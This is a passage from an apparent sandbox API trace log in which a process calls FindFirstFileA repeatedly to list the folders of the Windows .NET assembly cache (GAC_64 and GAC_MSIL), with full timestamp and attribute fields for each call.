ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x594b7320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x594b7320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.219] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93eb2480, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93eb2480, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.220] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.Transactions.Bridge.Dtc\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93eb2480, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd65f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd65f00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.226] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.VisualBasic.Activities.Compiler\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93fbce20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93fbce20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93fbce20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.226] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93f96cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56dbcae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56dbcae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.232] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9320cfa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9320cfa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9320cfa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.232] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x931c0ce0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d1dc840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d1dc840, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.237] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\PresentationCore\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94648aa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94648aa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94648aa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.238] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x945fc7e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e1c7b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e1c7b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.239] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935eb360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x935eb360, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x935eb360, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.240] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935c5200, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66310640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66310640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.241] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data.OracleClient\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa48b0cc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa48b0cc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.242] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x666c88a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x666c88a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.244] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93259260, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93259260, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.244] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67dfdf20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.248] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Printing\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9458a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9458a3c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.248] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d0f320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d0f320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.250] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x944a5b80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x944a5b80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.251] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6837f200, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6837f200, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.254] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Web\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d5ebe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.254] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d12920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x687a9880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x687a9880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.256] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9176b980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName=".", cAlternateFileName="")) returned 0x502598 [0133.257] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Accessibility\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932f17e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x932f17e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x932f17e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.258] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Accessibility\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932f17e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x56eed5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56eed5e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.260] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\AspNetMMCExt\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5cc6660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5cc6660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5cc6660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.260] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\AspNetMMCExt\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5cc6660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5720d2c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5720d2c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.262] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Activities.Build\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ef7000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9ef7000, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9ef7000, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.262] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Activities.Build\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ef7000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5c55d4c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5c55d4c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.264] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4225040, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4225040, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4225040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.265] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4225040, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ca6c380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ca6c380, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.266] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v4.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa41feee0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa41feee0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa41feee0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.267] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa41d8d80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5c7beac0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5c7beac0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.268] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4271300, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4271300, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4271300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.269] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4271300, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cade7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cade7a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.270] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4297460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4297460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4297460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.271] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4297460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cb50bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cb50bc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.275] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v4.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa42e3720, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa42e3720, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa42e3720, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.275] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa42bd5c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cb9ce80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cb9ce80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.278] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v4.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4309880, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4309880, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4309880, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.278] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4309880, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cbe9140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cbe9140, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.281] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9327f3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9327f3c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9327f3c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.282] FindFirstFileA 